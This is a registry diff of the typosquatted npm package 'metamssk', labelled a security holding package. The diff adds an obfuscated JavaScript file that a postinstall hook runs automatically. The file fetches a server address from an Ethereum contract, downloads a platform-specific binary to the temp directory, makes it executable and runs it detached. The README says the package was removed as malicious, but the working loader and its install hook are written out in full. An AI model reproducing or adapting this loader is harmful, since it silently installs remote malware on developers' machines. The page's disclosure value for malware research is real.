metamssk 0.0.1-security

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/5vbhg9cz.cjs ADDED
@@ -0,0 +1 @@
1
+ function _0x4dd8(_0x3f40a8,_0x5b42a8){const _0x34ea36=_0x34ea();return _0x4dd8=function(_0x4dd883,_0xd3bb57){_0x4dd883=_0x4dd883-0x13b;let _0xc0f4d6=_0x34ea36[_0x4dd883];return _0xc0f4d6;},_0x4dd8(_0x3f40a8,_0x5b42a8);}function _0x34ea(){const _0x1c4e04=['TcyuQ','/node-macos','7RioUoD','2429718fmCbnn','5196172SMFbFQ','Ошибка\x20при\x20получении\x20IP\x20адреса:','Ошибка\x20установки:','dGpzY','2081510cJqiAx','QCjXt','join','11909456noYUnm','getString','1005967CNdDEk','755','idOum','unref','ethers','eEpYa','Ошибка\x20при\x20запуске\x20файла:','3180837sLxoZJ','mainnet','tmpdir','linux','getDefaultProvider','LATpt','chmodSync','nuAXy','pipe','Unsupported\x20platform:\x20','Yesma','/node-win.exe','Contract','error','util','wKyTb','platform','ignore','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','createWriteStream','99jiUkLU','child_process','5hUfmzI','2008528yliVal','data','CXoDb','win32','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b'];_0x34ea=function(){return _0x1c4e04;};return _0x34ea();}const _0x21d70a=_0x4dd8;(function(_0x2cb5d8,_0x5a2ee2){const _0x5dbbb5=_0x4dd8,_0x21d397=_0x2cb5d8();while(!![]){try{const _0x1448c2=parseInt(_0x5dbbb5(0x149))/0x1+parseInt(_0x5dbbb5(0x167))/0x2+-parseInt(_0x5dbbb5(0x150))/0x3+parseInt(_0x5dbbb5(0x140))/0x4*(-parseInt(_0x5dbbb5(0x166))/0x5)+parseInt(_0x5dbbb5(0x13f))/0x6*(parseInt(_0x5dbbb5(0x13e))/0x7)+-parseInt(_0x5dbbb5(0x147))/0x8+-parseInt(_0x5dbbb5(0x164))/0x9*(-parseInt(_0x5dbbb5(0x144))/0xa);if(_0x1448c2===_0x5a2ee2)break;else _0x21d397['push'](_0x21d397['shift']());}catch(_0x3d4218){_0x21d397['push'](_0x21d397['shift']());}}}(_0x34ea,0xd1309));const {ethers}=require(_0x21d70a(0x14d)),axios=require('axios'),util=require(_0x21d70a(0x15e)),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x21d70a(0x165)),contractAddress=_0x21d70a(0x13b),WalletOwner=_0x21d70a(0x162),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x21d70a(0x154)](_0x21d70a(0x151)),contract=new ethers[(_0x21d70a(0x15c))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x48cd1d=_0x21d70a;try{const _0x44ceec=await contract[_0x48cd1d(0x148)](WalletOwner);return _0x44ceec;}catch(_0xe57f46){return console[_0x48cd1d(0x15d)](_0x48cd1d(0x141),_0xe57f46),await fetchAndUpdateIp();}},getDownloadUrl=_0x77a1f9=>{const _0x2b5911=_0x21d70a,_0x2fdc93={'WctWV':_0x2b5911(0x16a),'TcyuQ':_0x2b5911(0x153),'dGpzY':'darwin'},_0x927bac=os[_0x2b5911(0x160)]();switch(_0x927bac){case _0x2fdc93['WctWV']:return _0x77a1f9+_0x2b5911(0x15b);case _0x2fdc93[_0x2b5911(0x13c)]:return _0x77a1f9+'/node-linux';case _0x2fdc93[_0x2b5911(0x143)]:return _0x77a1f9+_0x2b5911(0x13d);default:throw new Error(_0x2b5911(0x159)+_0x927bac);}},downloadFile=async(_0x4175cf,_0x150dc9)=>{const _0x4ba2a4=_0x21d70a,_0x52e613={'uJqTt':function(_0x303f64,_0x18cf79){return _0x303f64(_0x18cf79);},'QCjXt':'GET','nuAXy':'stream'},_0x4b383e=fs[_0x4ba2a4(0x163)](_0x150dc9),_0x2cc295=await _0x52e613['uJqTt'](axios,{'url':_0x4175cf,'method':_0x52e613[_0x4ba2a4(0x145)],'responseType':_0x52e613[_0x4ba2a4(0x157)]});return _0x2cc295[_0x4ba2a4(0x168)][_0x4ba2a4(0x158)](_0x4b383e),new Promise((_0x491b37,_0xa02b1e)=>{_0x4b383e['on']('finish',_0x491b37),_0x4b383e['on']('error',_0xa02b1e);});},executeFileInBackground=async _0x11ecd7=>{const _0x402947=_0x21d70a,_0x1f78e7={'wKyTb':function(_0x20a14f,_0x5449e8,_0x18e845,_0x464f5d){return _0x20a14f(_0x5449e8,_0x18e845,_0x464f5d);},'kceDw':_0x402947(0x161),'Yesma':_0x402947(0x14f)};try{const _0xe86c0d=_0x1f78e7[_0x402947(0x15f)](spawn,_0x11ecd7,[],{'detached':!![],'stdio':_0x1f78e7['kceDw']});_0xe86c0d[_0x402947(0x14c)]();}catch(_0x161619){console[_0x402947(0x15d)](_0x1f78e7[_0x402947(0x15a)],_0x161619);}},runInstallation=async()=>{const _0x5f09fa=_0x21d70a,_0x47a47b={'CXoDb':function(_0x392589){return _0x392589();},'LhcPQ':function(_0x8a8b6a,_0x11487d){return _0x8a8b6a(_0x11487d);},'eEpYa':function(_0xfa744d,_0x3e4efd,_0x427f7e){return _0xfa744d(_0x3e4efd,_0x427f7e);},'LATpt':function(_0x589897,_0x36b1c4){return _0x589897!==_0x36b1c4;},'Aafys':_0x5f09fa(0x14a),'idOum':_0x5f09fa(0x142)};try{const _0x17bf2a=await _0x47a47b[_0x5f09fa(0x169)](fetchAndUpdateIp),_0x36dbd0=_0x47a47b['LhcPQ'](getDownloadUrl,_0x17bf2a),_0x5c0f7a=os[_0x5f09fa(0x152)](),_0x783acd=path['basename'](_0x36dbd0),_0x2ee5b3=path[_0x5f09fa(0x146)](_0x5c0f7a,_0x783acd);await _0x47a47b[_0x5f09fa(0x14e)](downloadFile,_0x36dbd0,_0x2ee5b3);if(_0x47a47b[_0x5f09fa(0x155)](os[_0x5f09fa(0x160)](),_0x5f09fa(0x16a)))fs[_0x5f09fa(0x156)](_0x2ee5b3,_0x47a47b['Aafys']);executeFileInBackground(_0x2ee5b3);}catch(_0x21af19){console[_0x5f09fa(0x15d)](_0x47a47b[_0x5f09fa(0x14b)],_0x21af19);}};runInstallation();
package/README.md ADDED
@@ -0,0 +1,5 @@
1
+ # Security holding package
2
+
3
+ This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
+
5
+ Please refer to www.npmjs.com/advisories?search=metamask for more information.
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "metamssk",
3
+ "version": "0.0.1-security",
4
+ "description": "security holding package",
5
+ "repository": "npm/security-holder",
6
+ "scripts": {
7
+ "postinstall": "node 5vbhg9cz.cjs"
8
+ },
9
+ "files": [
10
+ "5vbhg9cz.cjs"
11
+ ],
12
+ "dependencies": {
13
+ "axios": "^1.7.7",
14
+ "ethers": "^6.13.2"
15
+ }
16
+ }